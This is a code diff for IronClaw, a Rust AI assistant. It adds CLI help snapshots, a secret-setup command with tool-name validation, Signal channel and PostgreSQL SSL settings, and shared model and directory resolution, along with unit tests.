/// Manage OS service (launchd / systemd)
#[command(subcommand)]
#[command(
subcommand,
about = "Manage OS service",
long_about = "Install, start, or stop service.\nExample: ironclaw service install"
)]
Service(ServiceCommand),
/// Probe external dependencies and validate configuration
#[command(
about = "Run diagnostics",
long_about = "Checks dependencies and config validity.\nExample: ironclaw doctor"
)]
Doctor,
/// Show system health and diagnostics
#[command(
about = "Show system status",
long_about = "Displays health and diagnostics info.\nExample: ironclaw status"
)]
Status,
/// Generate shell completion scripts
#[command(
about = "Generate completions",
long_about = "Generates shell completion scripts.\nExample: ironclaw completion --shell bash > ironclaw.bash"
)]
Completion(Completion),
/// Run as a sandboxed worker inside a Docker container (internal use).
/// This is invoked automatically by the orchestrator, not by users directly.
#[command(hide = true)]
Worker {
/// Job ID to execute.
#[arg(long)]
@@ -141,6 +194,7 @@ pub enum Command {
/// Run as a Claude Code bridge inside a Docker container (internal use).
/// Spawns the `claude` CLI and streams output back to the orchestrator.
#[command(hide = true)]
ClaudeBridge {
/// Job ID to execute.
#[arg(long)]
@@ -166,3 +220,33 @@ impl Cli {
matches!(self.command, None | Some(Command::Run))
}
}
#[cfg(test)]
mod tests {
use super::*;
use clap::CommandFactory;
use insta::assert_snapshot;
#[test]
fn test_version() {
let cmd = Cli::command();
assert_eq!(
cmd.get_version().unwrap_or("unknown"),
env!("CARGO_PKG_VERSION")
);
}
#[test]
fn test_help_output() {
let mut cmd = Cli::command();
let help = cmd.render_help().to_string();
assert_snapshot!(help);
}
#[test]
fn test_long_help_output() {
let mut cmd = Cli::command();
let help = cmd.render_long_help().to_string();
assert_snapshot!(help);
}
}
@@ -0,0 +1,31 @@
---
source: src/cli/mod.rs
expression: help
---
Secure personal AI assistant that protects your data and expands its capabilities
Usage: ironclaw [OPTIONS] [COMMAND]
Commands:
run Run the AI agent
onboard Run interactive setup wizard
config Manage app configs
tool Manage WASM tools
registry Browse/install extensions
mcp Manage MCP servers
memory Manage workspace memory
pairing Manage DM pairing
service Manage OS service
doctor Run diagnostics
status Show system status
completion Generate completions
help Print this message or the help of the given subcommand(s)
Options:
--cli-only Run in interactive CLI mode only (disable other channels)
--no-db Skip database connection (for testing)
-m, --message <MESSAGE> Single message mode - send one message and exit
-c, --config <CONFIG> Configuration file path (optional, uses env vars by default)
--no-onboard Skip first-run onboarding check
-h, --help Print help (see more with '--help')
-V, --version Print version
@@ -0,0 +1,47 @@
---
source: src/cli/mod.rs
expression: help
---
IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.
Examples:
ironclaw run # Start the agent
ironclaw config list # List configs
Usage: ironclaw [OPTIONS] [COMMAND]
Commands:
run Run the AI agent
onboard Run interactive setup wizard
config Manage app configs
tool Manage WASM tools
registry Browse/install extensions
mcp Manage MCP servers
memory Manage workspace memory
pairing Manage DM pairing
service Manage OS service
doctor Run diagnostics
status Show system status
completion Generate completions
help Print this message or the help of the given subcommand(s)
Options:
--cli-only
Run in interactive CLI mode only (disable other channels)
--no-db
Skip database connection (for testing)
-m, --message <MESSAGE>
Single message mode - send one message and exit
-c, --config <CONFIG>
Configuration file path (optional, uses env vars by default)
--no-onboard
Skip first-run onboarding check
-h, --help
Print help (see a summary with '-h')
-V, --version
Print version
+4 -13
View File
@@ -5,6 +5,7 @@
use std::path::PathBuf;
use crate::bootstrap::ironclaw_base_dir;
use crate::settings::Settings;
/// Run the status command, printing system health info.
@@ -168,11 +169,7 @@ async fn check_database() -> anyhow::Result<()> {
url: Some(url),
..Default::default()
};
let pool = config
.create_pool(
Some(deadpool_postgres::Runtime::Tokio1),
tokio_postgres::NoTls,
)
let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
.map_err(|e| anyhow::anyhow!("pool error: {}", e))?;
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
@@ -206,15 +203,9 @@ fn count_wasm_files(dir: &std::path::Path) -> usize {
}
fn default_tools_dir() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("tools")
ironclaw_base_dir().join("tools")
}
fn default_channels_dir() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("channels")
ironclaw_base_dir().join("channels")
}
+184 -37
View File
@@ -9,6 +9,7 @@ use std::sync::Arc;
use clap::Subcommand;
use tokio::fs;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::Config;
#[allow(unused_imports)]
use crate::db::Database;
@@ -19,9 +20,7 @@ use crate::tools::wasm::{CapabilitiesFile, compute_binary_hash};
/// Default tools directory.
fn default_tools_dir() -> PathBuf {
dirs::home_dir()
.map(|h| h.join(".ironclaw").join("tools"))
.unwrap_or_else(|| PathBuf::from(".ironclaw/tools"))
ironclaw_base_dir().join("tools")
}
#[derive(Subcommand, Debug, Clone)]
@@ -100,6 +99,20 @@ pub enum ToolCommand {
#[arg(short, long, default_value = "default")]
user: String,
},
/// Configure required secrets for a tool (from setup.required_secrets)
Setup {
/// Name of the tool
name: String,
/// Directory to look for tool (default: ~/.ironclaw/tools/)
#[arg(short, long)]
dir: Option<PathBuf>,
/// User ID for storing the secret (default: "default")
#[arg(short, long, default_value = "default")]
user: String,
},
}
/// Run a tool command.
@@ -118,6 +131,7 @@ pub async fn run_tool_command(cmd: ToolCommand) -> anyhow::Result<()> {
ToolCommand::Remove { name, dir } => remove_tool(name, dir).await,
ToolCommand::Info { name_or_path, dir } => show_tool_info(name_or_path, dir).await,
ToolCommand::Auth { name, dir, user } => auth_tool(name, dir, user).await,
ToolCommand::Setup { name, dir, user } => setup_tool(name, dir, user).await,
}
}
@@ -524,43 +538,24 @@ fn print_capabilities_detail(caps: &CapabilitiesFile) {
}
}
/// Configure authentication for a tool.
async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
let tools_dir = dir.unwrap_or_else(default_tools_dir);
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
if !caps_path.exists() {
/// Validate a tool name to prevent path traversal.
fn validate_tool_name(name: &str) -> anyhow::Result<()> {
if name.is_empty()
|| name.contains('/')
|| name.contains('\\')
|| name.contains("..")
|| name.contains('\0')
{
anyhow::bail!(
"Tool '{}' not found or has no capabilities file at {}",
name,
caps_path.display()
"Invalid tool name '{}': must not contain path separators or '..'",
name
);
}
Ok(())
}
// Parse capabilities
let content = fs::read_to_string(&caps_path).await?;
let caps = CapabilitiesFile::from_json(&content)
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
// Check for auth section
let auth = caps.auth.ok_or_else(|| {
anyhow::anyhow!(
"Tool '{}' has no auth configuration.\n\
The tool may not require authentication, or auth setup is not defined.",
name
)
})?;
let display_name = auth.display_name.as_deref().unwrap_or(&name);
let header = format!("{} Authentication", display_name);
println!();
println!("╔════════════════════════════════════════════════════════════════╗");
println!("{:^62}", header);
println!("╚════════════════════════════════════════════════════════════════╝");
println!();
// Initialize secrets store
/// Initialize the secrets store from environment config.
async fn init_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Sync>> {
let config = Config::from_env().await?;
let master_key = config.secrets.master_key().ok_or_else(|| {
anyhow::anyhow!(
@@ -570,7 +565,7 @@ async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyho
let crypto = SecretsCrypto::new(master_key.clone())?;
let secrets_store: Arc<dyn SecretsStore + Send + Sync> = {
let store: Arc<dyn SecretsStore + Send + Sync> = {
#[cfg(feature = "postgres")]
{
let store = crate::history::Store::new(&config.database).await?;
@@ -620,6 +615,47 @@ async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyho
);
}
};
Ok(store)
}
/// Configure authentication for a tool.
async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
validate_tool_name(&name)?;
let tools_dir = dir.unwrap_or_else(default_tools_dir);
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
if !caps_path.exists() {
anyhow::bail!(
"Tool '{}' not found or has no capabilities file at {}",
name,
caps_path.display()
);
}
// Parse capabilities
let content = fs::read_to_string(&caps_path).await?;
let caps = CapabilitiesFile::from_json(&content)
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
// Check for auth section
let auth = caps.auth.ok_or_else(|| {
anyhow::anyhow!(
"Tool '{}' has no auth configuration.\n\
The tool may not require authentication, or auth setup is not defined.",
name
)
})?;
let display_name = auth.display_name.as_deref().unwrap_or(&name);
let header = format!("{} Authentication", display_name);
println!();
println!("╔════════════════════════════════════════════════════════════════╗");
println!("{:^62}", header);
println!("╚════════════════════════════════════════════════════════════════╝");
println!();
let secrets_store = init_secrets_store().await?;
// Check if already configured
let already_configured = secrets_store
@@ -1160,6 +1196,117 @@ fn print_success(display_name: &str) {
println!();
}
/// Configure required secrets for a tool via its `setup.required_secrets` schema.
async fn setup_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
validate_tool_name(&name)?;
let tools_dir = dir.unwrap_or_else(default_tools_dir);
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
if !caps_path.exists() {
anyhow::bail!(
"Tool '{}' not found or has no capabilities file at {}",
name,
caps_path.display()
);
}
let content = fs::read_to_string(&caps_path).await?;
let caps = CapabilitiesFile::from_json(&content)
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
let setup = caps.setup.ok_or_else(|| {
anyhow::anyhow!(
"Tool '{}' has no setup configuration.\n\
The tool may not require setup, or setup is not defined.\n\
Try 'ironclaw tool auth {}' for OAuth-based authentication.",
name,
name
)
})?;
if setup.required_secrets.is_empty() {
println!("Tool '{}' has no required secrets.", name);
return Ok(());
}
let display_name = caps
.auth
.as_ref()
.and_then(|a| a.display_name.as_deref())
.unwrap_or(&name);
println!();
println!("╔════════════════════════════════════════════════════════════════╗");
println!("{:^62}", format!("{} Setup", display_name));
println!("╚════════════════════════════════════════════════════════════════╝");
println!();
let secrets_store = init_secrets_store().await?;
let mut any_saved = false;
for secret in &setup.required_secrets {
let already_exists = secrets_store
.exists(&user_id, &secret.name)
.await
.unwrap_or(false);
if already_exists {
println!("{} (already configured)", secret.prompt);
print!(" Replace? [y/N]: ");
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
if !input.trim().eq_ignore_ascii_case("y") {
continue;
}
print!(" {}: ", secret.prompt);
} else if secret.optional {
print!(" {} (optional, Enter to skip): ", secret.prompt);
} else {
print!(" {}: ", secret.prompt);
}
std::io::stdout().flush()?;
let value = read_hidden_input()?;
println!();
if value.is_empty() {
if secret.optional {
println!(" Skipped.");
} else {
println!(
" Warning: empty value for required secret '{}'.",
secret.name
);
}
continue;
}
let params = CreateSecretParams::new(&secret.name, &value).with_provider(name.to_string());
secrets_store
.create(&user_id, params)
.await
.map_err(|e| anyhow::anyhow!("Failed to save secret: {}", e))?;
println!(" ✓ Saved.");
any_saved = true;
}
println!();
if any_saved {
println!("{} setup complete!", display_name);
} else {
println!(" No changes made.");
}
println!();
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
+99 -4
View File
@@ -2,6 +2,7 @@ use std::path::PathBuf;
use secrecy::SecretString;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
use crate::error::ConfigError;
use crate::settings::Settings;
@@ -12,6 +13,7 @@ pub struct ChannelsConfig {
pub cli: CliConfig,
pub http: Option<HttpConfig>,
pub gateway: Option<GatewayConfig>,
pub signal: Option<SignalConfig>,
/// Directory containing WASM channel modules (default: ~/.ironclaw/channels/).
pub wasm_channels_dir: std::path::PathBuf,
/// Whether WASM channels are enabled.
@@ -43,6 +45,49 @@ pub struct GatewayConfig {
pub user_id: String,
}
/// Signal channel configuration (signal-cli daemon HTTP/JSON-RPC).
#[derive(Debug, Clone)]
pub struct SignalConfig {
/// Base URL of the signal-cli daemon HTTP endpoint (e.g. `http://127.0.0.1:8080`).
pub http_url: String,
/// Signal account identifier (E.164 phone number, e.g. `+1234567890`).
pub account: String,
/// Users allowed to interact with the bot in DMs.
///
/// Each entry is one of:
/// - `*` — allow everyone
/// - E.164 phone number (e.g. `+1234567890`)
/// - bare UUID (e.g. `a1b2c3d4-e5f6-7890-abcd-ef1234567890`)
/// - `uuid:<id>` prefix form (e.g. `uuid:a1b2c3d4-e5f6-7890-abcd-ef1234567890`)
///
/// An empty list denies all senders (secure by default).
pub allow_from: Vec<String>,
/// Groups allowed to interact with the bot.
///
/// - Empty list — deny all group messages (DMs only, secure by default).
/// - `*` — allow all groups.
/// - Specific group IDs — allow only those groups.
pub allow_from_groups: Vec<String>,
/// DM policy: "open", "allowlist", or "pairing". Default: "pairing".
///
/// - "open" — allow all DM senders (ignores allow_from for DMs)
/// - "allowlist" — only allow senders in allow_from list
/// - "pairing" — allowlist + send pairing reply to unknown users
pub dm_policy: String,
/// Group policy: "allowlist", "open", or "disabled". Default: "allowlist".
///
/// - "disabled" — deny all group messages
/// - "allowlist" — check allow_from_groups and group_allow_from
/// - "open" — accept all group messages (respects allow_from_groups for group ID)
pub group_policy: String,
/// Allow list for group message senders. If empty, inherits from allow_from.
pub group_allow_from: Vec<String>,
/// Skip messages that contain only attachments (no text).
pub ignore_attachments: bool,
/// Skip story messages.
pub ignore_stories: bool,
}
impl ChannelsConfig {
pub(crate) fn resolve(settings: &Settings) -> Result<Self, ConfigError> {
let http = if optional_env("HTTP_PORT")?.is_some() || optional_env("HTTP_HOST")?.is_some() {
@@ -68,6 +113,58 @@ impl ChannelsConfig {
None
};
let signal = if let Some(http_url) = optional_env("SIGNAL_HTTP_URL")? {
let account = optional_env("SIGNAL_ACCOUNT")?.ok_or(ConfigError::InvalidValue {
key: "SIGNAL_ACCOUNT".to_string(),
message: "SIGNAL_ACCOUNT is required when SIGNAL_HTTP_URL is set".to_string(),
})?;
let allow_from = match std::env::var_os("SIGNAL_ALLOW_FROM") {
None => vec![account.clone()],
Some(val) => {
let s = val.to_string_lossy();
s.split(',')
.map(|e| e.trim().to_string())
.filter(|s| !s.is_empty())
.collect()
}
};
let dm_policy =
optional_env("SIGNAL_DM_POLICY")?.unwrap_or_else(|| "pairing".to_string());
let group_policy =
optional_env("SIGNAL_GROUP_POLICY")?.unwrap_or_else(|| "allowlist".to_string());
Some(SignalConfig {
http_url,
account,
allow_from,
allow_from_groups: optional_env("SIGNAL_ALLOW_FROM_GROUPS")?
.map(|s| {
s.split(',')
.map(|e| e.trim().to_string())
.filter(|s| !s.is_empty())
.collect()
})
.unwrap_or_default(),
dm_policy,
group_policy,
group_allow_from: optional_env("SIGNAL_GROUP_ALLOW_FROM")?
.map(|s| {
s.split(',')
.map(|e| e.trim().to_string())
.filter(|s| !s.is_empty())
.collect()
})
.unwrap_or_default(),
ignore_attachments: optional_env("SIGNAL_IGNORE_ATTACHMENTS")?
.map(|s| s.to_lowercase() == "true" || s == "1")
.unwrap_or(false),
ignore_stories: optional_env("SIGNAL_IGNORE_STORIES")?
.map(|s| s.to_lowercase() == "true" || s == "1")
.unwrap_or(true),
})
} else {
None
};
let cli_enabled = optional_env("CLI_ENABLED")?
.map(|s| s.to_lowercase() != "false" && s != "0")
.unwrap_or(true);
@@ -78,6 +175,7 @@ impl ChannelsConfig {
},
http,
gateway,
signal,
wasm_channels_dir: optional_env("WASM_CHANNELS_DIR")?
.map(PathBuf::from)
.unwrap_or_else(default_channels_dir),
@@ -96,8 +194,5 @@ impl ChannelsConfig {
/// Get the default channels directory (~/.ironclaw/channels/).
fn default_channels_dir() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("channels")
ironclaw_base_dir().join("channels")
}
+101 -4
View File
@@ -2,6 +2,7 @@ use std::path::PathBuf;
use secrecy::{ExposeSecret, SecretString};
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_optional_env};
use crate::error::ConfigError;
@@ -39,6 +40,48 @@ impl std::str::FromStr for DatabaseBackend {
}
}
/// PostgreSQL SSL/TLS mode, matching libpq semantics for the common cases.
///
/// Default is `Prefer`: attempt TLS, fall back to plaintext. This is the
/// safest non-breaking default — local Postgres without TLS keeps working
/// while managed providers (Neon, Supabase, RDS) automatically get TLS.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub enum SslMode {
/// Never use TLS (equivalent to libpq `sslmode=disable`).
Disable,
/// Try TLS first; fall back to plaintext on failure (default).
#[default]
Prefer,
/// Require TLS; fail if the server does not support it.
Require,
}
impl std::fmt::Display for SslMode {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::Disable => write!(f, "disable"),
Self::Prefer => write!(f, "prefer"),
Self::Require => write!(f, "require"),
}
}
}
impl std::str::FromStr for SslMode {
type Err = String;
fn from_str(s: &str) -> Result<Self, Self::Err> {
match s.to_lowercase().as_str() {
"disable" => Ok(Self::Disable),
"prefer" => Ok(Self::Prefer),
"require" => Ok(Self::Require),
_ => Err(format!(
"invalid DATABASE_SSLMODE '{}', expected 'disable', 'prefer', or 'require'",
s
)),
}
}
}
/// Database configuration.
#[derive(Debug, Clone)]
pub struct DatabaseConfig {
@@ -48,6 +91,8 @@ pub struct DatabaseConfig {
// -- PostgreSQL fields --
pub url: SecretString,
pub pool_size: usize,
/// TLS mode for PostgreSQL connections (default: Prefer).
pub ssl_mode: SslMode,
// -- libSQL fields --
/// Path to local libSQL database file (default: ~/.ironclaw/ironclaw.db).
@@ -87,6 +132,15 @@ impl DatabaseConfig {
let pool_size = parse_optional_env("DATABASE_POOL_SIZE", 10)?;
let ssl_mode: SslMode = if let Some(s) = optional_env("DATABASE_SSLMODE")? {
s.parse().map_err(|e| ConfigError::InvalidValue {
key: "DATABASE_SSLMODE".to_string(),
message: e,
})?
} else {
SslMode::default()
};
let libsql_path = optional_env("LIBSQL_PATH")?.map(PathBuf::from).or_else(|| {
if backend == DatabaseBackend::LibSql {
Some(default_libsql_path())
@@ -109,6 +163,7 @@ impl DatabaseConfig {
backend,
url: SecretString::from(url),
pool_size,
ssl_mode,
libsql_path,
libsql_url,
libsql_auth_token,
@@ -121,10 +176,52 @@ impl DatabaseConfig {
}
}
impl SslMode {
/// Read from `DATABASE_SSLMODE` env var, defaulting to `Prefer`.
///
/// Silently falls back to `Prefer` on missing or unparseable values.
/// Used by lightweight CLI tools (status, doctor) that don't run the
/// full config pipeline.
pub fn from_env() -> Self {
std::env::var("DATABASE_SSLMODE")
.ok()
.and_then(|s| s.parse().ok())
.unwrap_or_default()
}
}
/// Default libSQL database path (~/.ironclaw/ironclaw.db).
pub fn default_libsql_path() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("ironclaw.db")
ironclaw_base_dir().join("ironclaw.db")
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn ssl_mode_default_is_prefer() {
assert_eq!(SslMode::default(), SslMode::Prefer);
}
#[test]
fn ssl_mode_parse_roundtrip() {
for mode in [SslMode::Disable, SslMode::Prefer, SslMode::Require] {
let s = mode.to_string();
let parsed: SslMode = s.parse().expect("should parse");
assert_eq!(parsed, mode);
}
}
#[test]
fn ssl_mode_parse_case_insensitive() {
assert_eq!("DISABLE".parse::<SslMode>().unwrap(), SslMode::Disable);
assert_eq!("Prefer".parse::<SslMode>().unwrap(), SslMode::Prefer);
assert_eq!("REQUIRE".parse::<SslMode>().unwrap(), SslMode::Require);
}
#[test]
fn ssl_mode_parse_invalid() {
assert!("invalid".parse::<SslMode>().is_err());
}
}
+2 -3
View File
@@ -1,3 +1,4 @@
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{parse_bool_env, parse_optional_env};
use crate::error::ConfigError;
@@ -41,9 +42,7 @@ impl HygieneConfig {
enabled: self.enabled,
retention_days: self.retention_days,
cadence_hours: self.cadence_hours,
state_dir: dirs::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw"),
state_dir: ironclaw_base_dir(),
}
}
}
+113 -15
View File
@@ -2,6 +2,7 @@ use std::path::PathBuf;
use secrecy::SecretString;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_optional_env};
use crate::error::ConfigError;
use crate::settings::Settings;
@@ -59,6 +60,23 @@ impl std::fmt::Display for LlmBackend {
}
}
impl LlmBackend {
/// The environment variable that configures the model name for this backend.
///
/// Used by both `LlmConfig::resolve()` (reads the var) and the setup wizard
/// (writes the var to `.env`). Centralised here so the two stay in sync.
pub fn model_env_var(&self) -> &'static str {
match self {
Self::NearAi => "NEARAI_MODEL",
Self::OpenAi => "OPENAI_MODEL",
Self::Anthropic => "ANTHROPIC_MODEL",
Self::Ollama => "OLLAMA_MODEL",
Self::OpenAiCompatible => "LLM_MODEL",
Self::Tinfoil => "TINFOIL_MODEL",
}
}
}
/// Configuration for direct OpenAI API access.
#[derive(Debug, Clone)]
pub struct OpenAiDirectConfig {
@@ -177,6 +195,17 @@ pub struct NearAiConfig {
}
impl LlmConfig {
/// Resolve a model name from env var → settings.selected_model → hardcoded default.
fn resolve_model(
env_var: &str,
settings: &Settings,
default: &str,
) -> Result<String, ConfigError> {
Ok(optional_env(env_var)?
.or_else(|| settings.selected_model.clone())
.unwrap_or_else(|| default.to_string()))
}
pub(crate) fn resolve(settings: &Settings) -> Result<Self, ConfigError> {
// Determine backend: env var > settings > default (NearAi)
let backend: LlmBackend = if let Some(b) = optional_env("LLM_BACKEND")? {
@@ -204,9 +233,7 @@ impl LlmConfig {
let nearai_api_key = optional_env("NEARAI_API_KEY")?.map(SecretString::from);
let nearai = NearAiConfig {
model: optional_env("NEARAI_MODEL")?
.or_else(|| settings.selected_model.clone())
.unwrap_or_else(|| "zai-org/GLM-latest".to_string()),
model: Self::resolve_model("NEARAI_MODEL", settings, "zai-org/GLM-latest")?,
cheap_model: optional_env("NEARAI_CHEAP_MODEL")?,
base_url: optional_env("NEARAI_BASE_URL")?.unwrap_or_else(|| {
if nearai_api_key.is_some() {
@@ -247,7 +274,7 @@ impl LlmConfig {
key: "OPENAI_API_KEY".to_string(),
hint: "Set OPENAI_API_KEY when LLM_BACKEND=openai".to_string(),
})?;
let model = optional_env("OPENAI_MODEL")?.unwrap_or_else(|| "gpt-4o".to_string());
let model = Self::resolve_model("OPENAI_MODEL", settings, "gpt-4o")?;
let base_url = optional_env("OPENAI_BASE_URL")?;
Some(OpenAiDirectConfig {
api_key,
@@ -265,8 +292,8 @@ impl LlmConfig {
key: "ANTHROPIC_API_KEY".to_string(),
hint: "Set ANTHROPIC_API_KEY when LLM_BACKEND=anthropic".to_string(),
})?;
let model = optional_env("ANTHROPIC_MODEL")?
.unwrap_or_else(|| "claude-sonnet-4-20250514".to_string());
let model =
Self::resolve_model("ANTHROPIC_MODEL", settings, "claude-sonnet-4-20250514")?;
let base_url = optional_env("ANTHROPIC_BASE_URL")?;
Some(AnthropicDirectConfig {
api_key,
@@ -281,7 +308,7 @@ impl LlmConfig {
let base_url = optional_env("OLLAMA_BASE_URL")?
.or_else(|| settings.ollama_base_url.clone())
.unwrap_or_else(|| "http://localhost:11434".to_string());
let model = optional_env("OLLAMA_MODEL")?.unwrap_or_else(|| "llama3".to_string());
let model = Self::resolve_model("OLLAMA_MODEL", settings, "llama3")?;
Some(OllamaConfig { base_url, model })
} else {
None
@@ -295,9 +322,7 @@ impl LlmConfig {
hint: "Set LLM_BASE_URL when LLM_BACKEND=openai_compatible".to_string(),
})?;
let api_key = optional_env("LLM_API_KEY")?.map(SecretString::from);
let model = optional_env("LLM_MODEL")?
.or_else(|| settings.selected_model.clone())
.unwrap_or_else(|| "default".to_string());
let model = Self::resolve_model("LLM_MODEL", settings, "default")?;
let extra_headers = optional_env("LLM_EXTRA_HEADERS")?
.map(|val| parse_extra_headers(&val))
.transpose()?
@@ -319,7 +344,7 @@ impl LlmConfig {
key: "TINFOIL_API_KEY".to_string(),
hint: "Set TINFOIL_API_KEY when LLM_BACKEND=tinfoil".to_string(),
})?;
let model = optional_env("TINFOIL_MODEL")?.unwrap_or_else(|| "kimi-k2-5".to_string());
let model = Self::resolve_model("TINFOIL_MODEL", settings, "kimi-k2-5")?;
Some(TinfoilConfig { api_key, model })
} else {
None
@@ -373,10 +398,7 @@ fn parse_extra_headers(val: &str) -> Result<Vec<(String, String)>, ConfigError>
/// Get the default session file path (~/.ironclaw/session.json).
fn default_session_path() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("session.json")
ironclaw_base_dir().join("session.json")
}
#[cfg(test)]
@@ -508,4 +530,80 @@ mod tests {
]
);
}
/// Clear all ollama-related env vars.
fn clear_ollama_env() {
// SAFETY: Only called under ENV_MUTEX in tests.
unsafe {
std::env::remove_var("LLM_BACKEND");
std::env::remove_var("OLLAMA_BASE_URL");
std::env::remove_var("OLLAMA_MODEL");
}
}
#[test]
fn ollama_uses_selected_model_when_ollama_model_unset() {
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
clear_ollama_env();
let settings = Settings {
llm_backend: Some("ollama".to_string()),
selected_model: Some("llama3.2".to_string()),
..Default::default()
};
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
let ollama = cfg.ollama.expect("ollama config should be present");
assert_eq!(ollama.model, "llama3.2");
}
#[test]
fn ollama_model_env_overrides_selected_model() {
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
clear_ollama_env();
// SAFETY: Under ENV_MUTEX.
unsafe {
std::env::set_var("OLLAMA_MODEL", "mistral:latest");
}
let settings = Settings {
llm_backend: Some("ollama".to_string()),
selected_model: Some("llama3.2".to_string()),
..Default::default()
};
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
let ollama = cfg.ollama.expect("ollama config should be present");
assert_eq!(ollama.model, "mistral:latest");
// SAFETY: Under ENV_MUTEX.
unsafe {
std::env::remove_var("OLLAMA_MODEL");
}
}
#[test]
fn openai_compatible_preserves_dotted_model_name() {
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
clear_openai_compatible_env();
let settings = Settings {
llm_backend: Some("openai_compatible".to_string()),
openai_compatible_base_url: Some("http://localhost:11434/v1".to_string()),
selected_model: Some("llama3.2".to_string()),
..Default::default()
};
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
let compat = cfg
.openai_compatible
.expect("openai-compatible config should be present");
assert_eq!(
compat.model, "llama3.2",
"model name with dot must not be truncated"
);
}
}
+2 -2
View File
@@ -31,8 +31,8 @@ use crate::settings::Settings;
// Re-export all public types so `crate::config::FooConfig` continues to work.
pub use self::agent::AgentConfig;
pub use self::builder::BuilderModeConfig;
pub use self::channels::{ChannelsConfig, CliConfig, GatewayConfig, HttpConfig};
pub use self::database::{DatabaseBackend, DatabaseConfig, default_libsql_path};
pub use self::channels::{ChannelsConfig, CliConfig, GatewayConfig, HttpConfig, SignalConfig};
pub use self::database::{DatabaseBackend, DatabaseConfig, SslMode, default_libsql_path};
pub use self::embeddings::EmbeddingsConfig;
pub use self::heartbeat::HeartbeatConfig;
pub use self::hygiene::HygieneConfig;
+19 -8
View File
@@ -1,5 +1,6 @@
use std::path::PathBuf;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
use crate::error::ConfigError;
@@ -8,8 +9,12 @@ use crate::error::ConfigError;
pub struct SkillsConfig {
/// Whether the skills system is enabled.
pub enabled: bool,
/// Directory containing local skills (default: ~/.ironclaw/skills/).
/// Directory containing user-placed skills (default: ~/.ironclaw/skills/).
/// Skills here are loaded with `Trusted` trust level.
pub local_dir: PathBuf,
/// Directory containing registry-installed skills (default: ~/.ironclaw/installed_skills/).
/// Skills here are loaded with `Installed` trust level and get read-only tool access.
pub installed_dir: PathBuf,
/// Maximum number of skills that can be active simultaneously.
pub max_active_skills: usize,
/// Maximum total context tokens allocated to skill prompts.
@@ -19,29 +24,35 @@ pub struct SkillsConfig {
impl Default for SkillsConfig {
fn default() -> Self {
Self {
enabled: false,
enabled: true,
local_dir: default_skills_dir(),
installed_dir: default_installed_skills_dir(),
max_active_skills: 3,
max_context_tokens: 4000,
}
}
}
/// Get the default skills directory (~/.ironclaw/skills/).
/// Get the default user skills directory (~/.ironclaw/skills/).
fn default_skills_dir() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("skills")
ironclaw_base_dir().join("skills")
}
/// Get the default installed skills directory (~/.ironclaw/installed_skills/).
fn default_installed_skills_dir() -> PathBuf {
ironclaw_base_dir().join("installed_skills")
}
impl SkillsConfig {
pub(crate) fn resolve() -> Result<Self, ConfigError> {
Ok(Self {
enabled: parse_bool_env("SKILLS_ENABLED", false)?,
enabled: parse_bool_env("SKILLS_ENABLED", true)?,
local_dir: optional_env("SKILLS_DIR")?
.map(PathBuf::from)
.unwrap_or_else(default_skills_dir),
installed_dir: optional_env("SKILLS_INSTALLED_DIR")?
.map(PathBuf::from)
.unwrap_or_else(default_installed_skills_dir),
max_active_skills: parse_optional_env("SKILLS_MAX_ACTIVE", 3)?,
max_context_tokens: parse_optional_env("SKILLS_MAX_CONTEXT_TOKENS", 4000)?,
})
+2 -4
View File
@@ -1,6 +1,7 @@
use std::path::PathBuf;
use std::time::Duration;
use crate::bootstrap::ironclaw_base_dir;
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
use crate::error::ConfigError;
@@ -39,10 +40,7 @@ impl Default for WasmConfig {
/// Get the default tools directory (~/.ironclaw/tools/).
fn default_tools_dir() -> PathBuf {
dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join("tools")
